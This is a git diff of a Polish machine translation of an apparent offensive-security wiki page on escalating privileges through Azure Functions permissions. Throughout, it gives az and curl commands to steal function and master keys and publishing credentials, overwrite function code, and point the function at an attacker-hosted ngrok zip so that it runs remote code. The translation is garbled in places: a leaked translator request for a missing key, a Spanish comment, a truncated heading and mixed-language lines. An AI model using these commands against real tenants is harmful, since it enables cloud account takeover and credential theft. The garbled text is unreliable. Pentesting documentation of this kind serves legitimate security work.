Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-06-16 13:16:14 +00:00
parent 02dcc2372e
commit 6292af62dd
@@ -12,26 +12,26 @@ Sprawdź następującą stronę, aby uzyskać więcej informacji:
### Bucket Read/Write
Mając uprawnienia do odczytu kontenerów wewnątrz Storage Account, który przechowuje dane funkcji, można znaleźć **różne kontenery** (własne lub o predefiniowanych nazwach), które mogą zawierać **kod wykonywany przez funkcję**.
Mając uprawnienia do odczytu kontenerów wewnątrz Storage Account, który przechowuje dane funkcji, możliwe jest znalezienie **różnych kontenerów** (custom lub o z góry zdefiniowanych nazwach), które mogą zawierać **kod wykonywany przez funkcję**.
Gdy znajdziesz miejsce, gdzie znajduje się kod funkcji, jeśli masz nad nim uprawnienia do zapisu, możesz sprawić, że funkcja wykona dowolny kod i eskalować uprawnienia do managed identities przypisanych do funkcji.
Gdy znajdziesz, gdzie znajduje się kod funkcji, jeśli masz do niego uprawnienia do zapisu, możesz sprawić, że funkcja wykona dowolny kod i podnieść uprawnienia do managed identities przypisanych do funkcji.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
Kod funkcji jest zwykle przechowywany w udziale plików. Mając wystarczający dostęp można zmodyfikować plik z kodem i **sprawić, by funkcja załadowała dowolny kod**, co pozwala na eskalację uprawnień do managed identities przypisanych do Function.
Kod funkcji jest zwykle przechowywany wewnątrz file share. Przy wystarczającym dostępie możliwe jest zmodyfikowanie pliku z kodem i **spowodowanie, że funkcja załaduje dowolny kod**, co pozwala na podniesienie uprawnień do managed identities przypisanych do Function.
This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from
Ta metoda wdrażania zwykle konfiguruje ustawienia **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** które możesz uzyskać z
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Te konfiguracje będą zawierać **Storage Account Key**, którego **Function** może użyć, aby uzyskać dostęp do kodu.
Te konfiguracje będą zawierać **Storage Account Key**, którego Function może użyć do uzyskania dostępu do kodu.
> [!CAUTION]
> Przy wystarczających uprawnieniach do połączenia z File Share i **zmodyfikowania uruchamianego skryptu** możliwe jest wykonanie dowolnego kodu w **Function** i eskalacja uprawnień.
> Przy wystarczających uprawnieniach do połączenia się z File Share i **modyfikacji skryptu** uruchamianego przez Function możliwe jest wykonanie arbitralnego kodu w Function i eskalacja uprawnień.
Poniższy przykład używa macOS do połączenia z file share, ale zaleca się również sprawdzenie poniższej strony, aby uzyskać więcej informacji o file shares:
Poniższy przykład używa macOS do połączenia się z file share, ale zaleca się także sprawdzenie następującej strony, aby uzyskać więcej informacji o file shares:
{{#ref}}
../az-services/az-file-shares.md
@@ -47,7 +47,7 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
Często również można znaleźć **zip releases** w folderze `function-releases` w kontenerze Storage Account, którego używa function app zwykle w kontenerze **nazywanym `function-releases`**.
Często można też znaleźć **zip releases** w folderze `function-releases` kontenera Storage Account, którego używa function app, zwykle w kontenerze **zwykle nazywanym `function-releases`**.
Zwykle ta metoda wdrażania ustawi konfigurację `WEBSITE_RUN_FROM_PACKAGE` w:
```bash
@@ -55,18 +55,18 @@ az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
This config will usually contain a **SAS URL to download** the code from the Storage Account.
Ta konfiguracja zwykle będzie zawierać **SAS URL do pobrania** kodu z Storage Account.
> [!CAUTION]
> Przy wystarczających uprawnieniach, aby połączyć się z blob containerem, który **zawiera kod w zipie**, możliwe jest wykonanie dowolnego kodu w Function i eskalacja uprawnień.
> Mając wystarczające uprawnienia do połączenia z blob container, który **zawiera kod w zip**, można wykonać arbitrary code w Function i eskalować privilegies.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Podobnie jak w poprzednim przypadku, jeśli deployment jest wykonywany za pomocą Github Actions, można znaleźć folder **`github-actions-deploy`** w Storage Account zawierający zip z kodem oraz SAS URL do tego zipa w ustawieniu `WEBSITE_RUN_FROM_PACKAGE`.
Podobnie jak w poprzednim przypadku, jeśli deployment jest wykonywany przez Github Actions, możliwe jest znalezienie folderu **`github-actions-deploy`** w Storage Account zawierającego zip z kodem oraz SAS URL do zipa w ustawieniu `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
Mając uprawnienia do odczytu kontenerów w Storage Account przechowującym dane funkcji, można znaleźć kontener **`scm-releases`**. Znajduje się tam najnowsze wydanie w formacie pliku **Squashfs filesystem file format** i w związku z tym możliwe jest odczytanie kodu funkcji:
Mając uprawnienia do odczytu containerów wewnątrz Storage Account, który przechowuje dane function, możliwe jest znalezienie kontenera **`scm-releases`**. Tam można znaleźć najnowszy release w formacie pliku systemu plików **Squashfs filesystem file format** i dzięki temu można odczytać kod function:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
Możliwe jest także znalezienie **master and functions keys** przechowywanych w storage account w kontenerze **`azure-webjobs-secrets`** wewnątrz folderu **`<app-name>`** w plikach JSON, które tam znajdziesz.
Możliwe jest też znalezienie **master i functions keys** przechowywanych w storage account w kontenerze **`azure-webjobs-secrets`** wewnątrz folderu **`<app-name>`** w plikach JSON, które można tam znaleźć.
> [!CAUTION]
> Przy wystarczających uprawnieniach do połączenia się z blob containerem, który **zawiera kod w pliku z rozszerzeniem zip** (który w rzeczywistości jest **`squashfs`**), możliwe jest wykonanie dowolnego kodu w Function i eskalacja uprawnień.
> Przy wystarczających uprawnieniach do połączenia się z blob container, który **zawiera kod w pliku z rozszerzeniem zip** (który tak naprawdę jest **`squashfs`**) możliwe jest wykonanie arbitralnego kodu w Function i eskalacja uprawnień.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
To uprawnienie pozwala wylistować function, master i system keys, ale nie host key, dla wskazanej funkcji za pomocą:
To uprawnienie pozwala wylistować klucze funkcji, master i system, ale nie hosta, dla wskazanej funkcji za pomocą:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Dysponując master key, można również uzyskać kod źródłowy pod adresem URL takim jak:
Z master key można też uzyskać source code z URL takiego jak:
```bash
# Get "script_href" from
az rest --method GET \
@@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
Aby **zmienić kod, który jest wykonywany** w funkcji na:
I aby **zmienić kod, który jest wykonywany** w funkcji za pomocą:
```bash
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
@@ -154,36 +154,36 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
```
### `Microsoft.Web/sites/functions/listKeys/action`
To uprawnienie umożliwia pobranie domyślnego klucza określonej funkcji za pomocą:
To uprawnienie pozwala uzyskać domyślny key dla wskazanej function za pomocą:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
Wywołaj funkcję, używając uzyskanego klucza domyślnego:
Wywołaj funkcję używając domyślnie uzyskanego klucza:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write`
To uprawnienie pozwala utworzyć/zaktualizować klucz funkcji dla określonej funkcji za pomocą:
To uprawnienie pozwala tworzyć/aktualizować function key dla określonej funkcji za pomocą:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`
To uprawnienie umożliwia utworzenie/aktualizację master key dla wskazanej funkcji za pomocą:
To uprawnienie pozwala utworzyć/zaktualizować master key dla wskazanej funkcji za pomocą:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Pamiętaj, że przy użyciu tego klucza możesz także uzyskać dostęp do kodu źródłowego i go modyfikować, jak wyjaśniono wcześniej!
> Pamiętaj, że z tym key możesz także uzyskać access do source code i modyfikować go, jak wyjaśniono wcześniej!
### `Microsoft.Web/sites/host/systemKeys/write`
To uprawnienie pozwala na tworzenie/aktualizację systemowego klucza funkcji dla określonej funkcji za pomocą:
To permission allows to create/update a system function key to the specified function with:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
Brakuje klucza — proszę wklej klucz po "Use the key:" lub podaj zawartość pliku src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md do przetłumaczenia.
Użyj klucza:
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
@@ -193,28 +193,28 @@ curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<syst
```
### `Microsoft.Web/sites/config/list/action`
To uprawnienie pozwala pobrać ustawienia funkcji. W tych konfiguracjach można znaleźć domyślne wartości **`AzureWebJobsStorage`** lub **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, które zawierają **klucz konta umożliwiający dostęp do blob storage funkcji z pełnymi uprawnieniami**.
To uprawnienie pozwala na pobranie ustawień funkcji. W tych konfiguracjach może być możliwe znalezienie domyślnych wartości **`AzureWebJobsStorage`** lub **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, które zawierają **klucz konta do uzyskania dostępu do blob storage funkcji z PEŁNYMI uprawnieniami**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Co więcej, to uprawnienie pozwala również uzyskać **SCM username and password** (jeśli włączone) za pomocą:
Co więcej, to uprawnienie pozwala również uzyskać **SCM username i password** (jeśli włączone) za pomocą:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Te uprawnienia pozwalają na wylistowanie wartości konfiguracji funkcji, jak widzieliśmy wcześniej, oraz **modyfikowanie tych wartości**. To przydatne, ponieważ te ustawienia wskazują, skąd pochodzi kod wykonywany w funkcji.
Te uprawnienia pozwalają wylistować wartości config funkcji, jak widzieliśmy wcześniej, a także **modyfikować te wartości**. Jest to przydatne, ponieważ te ustawienia wskazują, gdzie znajduje się code do wykonania wewnątrz function.
Daje to możliwość ustawienia wartości ustawienia **`WEBSITE_RUN_FROM_PACKAGE`** wskazującej na URL pliku zip zawierającego nowy kod do wykonania wewnątrz aplikacji webowej:
Dlatego możliwe jest ustawienie wartości settingu **`WEBSITE_RUN_FROM_PACKAGE`** wskazującej na URL do pliku zip zawierającego nowy code do wykonania wewnątrz web application:
- Zacznij od pobrania aktualnej konfiguracji
- Zaczynamy od pobrania current config
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Utwórz kod, który chcesz, aby funkcja uruchamiała, i udostępnij go publicznie
- Utwórz kod, który chcesz, aby funkcja uruchamiała, i hostuj go publicznie
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -224,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Zmodyfikuj funkcję, zachowaj poprzednie parametry i dodaj na końcu konfigurację **`WEBSITE_RUN_FROM_PACKAGE`**, wskazującą URL do **zip** zawierającego kod.
- Zmodyfikuj function, zachowaj poprzednie parametry i dodaj na końcu config **`WEBSITE_RUN_FROM_PACKAGE`** wskazujący na URL z **zip** zawierającym code.
Poniżej znajduje się przykład moich **własnych ustawień — będziesz musiał zmienić wartości na swoje**; zwróć uwagę na końcu na wartość `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` — to miejsce, gdzie hostowałem aplikację.
Poniżej jest przykład moich **własnych settings, dla których będziesz musiał zmienić wartości na swoje**, zwróć uwagę na końcu wartości `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, to było miejsce, gdzie hostowałem app.
```bash
# Modify the function
az rest --method PUT \
@@ -236,7 +236,7 @@ az rest --method PUT \
```
### `Microsoft.Web/sites/hostruntime/vfs/write`
Dzięki temu uprawnieniu **można zmodyfikować kod aplikacji** przez konsolę web (lub przez następujący endpoint API):
Z tym uprawnieniem **możliwe jest modyfikowanie kodu aplikacji** przez web console (lub przez następujący endpoint API):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -266,7 +266,7 @@ body: responseMessage
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
To uprawnienie umożliwia wylistowanie wszystkich profili publikowania, które w zasadzie zawierają **basic auth credentials**:
To uprawnienie pozwala na wylistowanie wszystkich profili publikacji, które zasadniczo zawierają **basic auth credentials**:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -280,9 +280,9 @@ az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- Jeśli poświadczenia **REDACTED**
- Jeśli poświadczenia **REDACTED**
Jeśli widzisz, że te poświadczenia są **REDACTED**, to dlatego, że musisz **włączyć opcję SCM basic authentication** i do tego potrzebujesz drugiego uprawnienia (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
Jeśli widzisz, że te poświadczenia są **REDACTED**, to dlatego, że **musisz włączyć opcję podstawowego uwierzytelniania SCM** i do tego potrzebujesz drugiego uprawnienia (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -302,26 +302,47 @@ az rest --method PUT \
}
}
```
- **Metoda SCM**
- **Method SCM**
Następnie możesz uzyskać dostęp przy użyciu tych **basic auth credentials to the SCM URL** swojej function app i uzyskać wartości zmiennych środowiskowych:
Następnie możesz uzyskać dostęp za pomocą tych **basic auth credentials do URL SCM** twojej function app i pobrać wartości zmiennych env:
```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Zauważ, że **SCM username** jest zwykle znakiem "$", po którym następuje nazwa aplikacji, więc: `$<app-name>`._
Możesz pobrać, zmodyfikować i uploadować nowy kod function :
```bash
# download
curl -u '<username>:<password>' -X GET \
https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ \
-o current_function_code.zip
Możesz również uzyskać dostęp do strony internetowej pod adresem `https://<app-name>.scm.azurewebsites.net/BasicAuth`
unzip current_function_code.zip -d updated_code/
cd updated_code/
#... modify the function code
zip -r ../updated_function_app.zip .
cd ../
Wartości ustawień zawierają **AccountKey** storage account przechowującego dane function app, co pozwala przejąć kontrolę nad tym storage account.
# upload
curl -u '<username>:<password>' https://<app-name>.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v
```
Możesz nawet uploadować konkretny plik :
```bash
curl -u '<username>:<password>' \
-X PUT \
-H "Content-Type: application/javascript" \
-H "If-Match: *" \
--data-binary "@./my_local_payload.js" \
"https://<app-name>.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file
```
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
- **Metoda FTP**
Możesz też uzyskać dostęp do strony web pod `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Wartości settings zawierają **AccountKey** storage account przechowującego dane function app, co pozwala kontrolować ten storage account.
- **Method FTP**
Połącz się z serwerem FTP używając:
```bash
@@ -337,7 +358,7 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Należy zauważyć, że **FTP username** jest zwykle w formacie \<app-name>\\$\<app-name>._
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
### `Microsoft.Web/sites/hostruntime/vfs/read`
@@ -347,9 +368,9 @@ az rest --url "https://management.azure.com/subscriptions/<subscription-id>/reso
```
### `Microsoft.Web/sites/functions/token/action`
Z tym uprawnieniem możliwe jest [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), który może być później użyty do pobrania **master key** i tym samym uzyskania dostępu oraz modyfikacji kodu funkcji.
Z tym uprawnieniem możliwe jest [uzyskanie **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), którego można później użyć do pobrania **master key** i w ten sposób uzyskać dostęp do kodu funkcji oraz go modyfikować.
Jednak w moich ostatnich sprawdzeniach nie zwrócono żadnego tokena, więc może być to wyłączone lub już nie działać — oto jak byś to zrobił:
Jednak w moich ostatnich sprawdzeniach żaden token nie został zwrócony, więc możliwe, że jest to wyłączone albo już nie działa, ale oto jak byś to zrobił:
```bash
# Get admin token
az rest --method GET \
@@ -361,7 +382,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
To uprawnienie pozwala **włączyć funkcje**, które mogą być wyłączone (lub je wyłączyć).
To uprawnienie pozwala **włączyć functions**, które mogą być wyłączone (lub je wyłączyć).
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -369,13 +390,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
Można też sprawdzić, czy funkcja jest włączona lub wyłączona pod następującym adresem URL (używając uprawnienia w nawiasie):
Można też sprawdzić, czy function jest włączona lub wyłączona pod następującym URL (używając permission w nawiasie):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Dzięki tym uprawnieniom możliwe jest **zmodyfikowanie kontenera uruchamianego przez function app** skonfigurowaną do uruchamiania kontenera. Pozwoliłoby to atakującemu przesłać złośliwy azure function container app do docker hub (na przykład) i doprowadzić do jego wykonania przez function app.
Dzięki tym uprawnieniom możliwe jest **zmodyfikowanie kontenera uruchamianego przez function app** skonfigurowany do pracy w kontenerze. Umożliwiłoby to atakującemu przesłanie złośliwego container app dla Azure Function do docker hub (na przykład) i sprawienie, by function go wykonała.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -383,29 +404,29 @@ az functionapp config container set --name <app-name> \
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Dzięki tym uprawnieniom możliwe jest **przypisanie nowej user managed identity do funkcji**. Jeśli funkcja zostanie przejęta, pozwoli to na eskalację uprawnień do dowolnej user managed identity.
Z tymi uprawnieniami można **dołączyć nową user managed identity do function**. Jeśli function zostało skompromitowane, pozwoliłoby to na eskalację uprawnień do dowolnej user managed identity.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Debugowanie zdalne
### Remote Debugging
Możliwe jest także połączenie się w celu debugowania działającej funkcji Azure, jak [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Jednak domyślnie Azure wyłączy tę opcję po 2 dniach, na wypadek gdy programista zapomni i pozostawi podatną konfigurację.
Możliwe jest również połączenie się, aby debugować działającą funkcję Azure, jak [**wyjaśniono w dokumentacji**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Jednak domyślnie Azure wyłączy tę opcję po 2 dniach na wypadek, gdyby developer zapomni i pozostawił podatną konfigurację.
Można sprawdz, czy Function ma włączone debugowanie za pomocą:
Możliwe jest sprawdzenie, czy Function ma włączony debugging za pomocą:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Mając uprawnienie `Microsoft.Web/sites/config/write`, możliwe jest również ustawienie funkcji w trybie debugowania (poniższe polecenie wymaga również uprawnień `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` oraz `Microsoft.Web/sites/Read`).
Mając uprawnienie `Microsoft.Web/sites/config/write`, można też przełączyć funkcję w tryb debugowania (następujące polecenie wymaga również uprawnień `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` oraz `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Zmiana repozytorium Github
### Zmi repo Github
Próbowałem zmienić repozytorium Github, z którego odbywa się wdrażanie, wykonując następujące polecenia, ale nawet jeśli się zmieniło, **the new code was not loaded** (prawdopodobnie dlatego, że oczekuje, iż Github Action zaktualizuje kod).\
Co więcej, **managed identity federated credential wasn't updated**, aby zezwolić nowemu repozytorium, więc wygląda na to, że to nie jest zbyt przydatne.
Spróbowałem zmienić repo Github, z którego odbywa się deployment, wykonując następujące polecenia, ale nawet jeśli to się zmieniło, **nowy kod nie został załadowany** (prawdopodobnie dlatego, że oczekuje, iż Github Action zaktualizuje kod).\
Ponadto **federated credential managed identity nie zostało zaktualizowane**, aby dopuścić nowe repozytorium, więc wygląda na to, że nie jest to zbyt użyteczne.
```bash
# Remove current
az functionapp deployment source delete \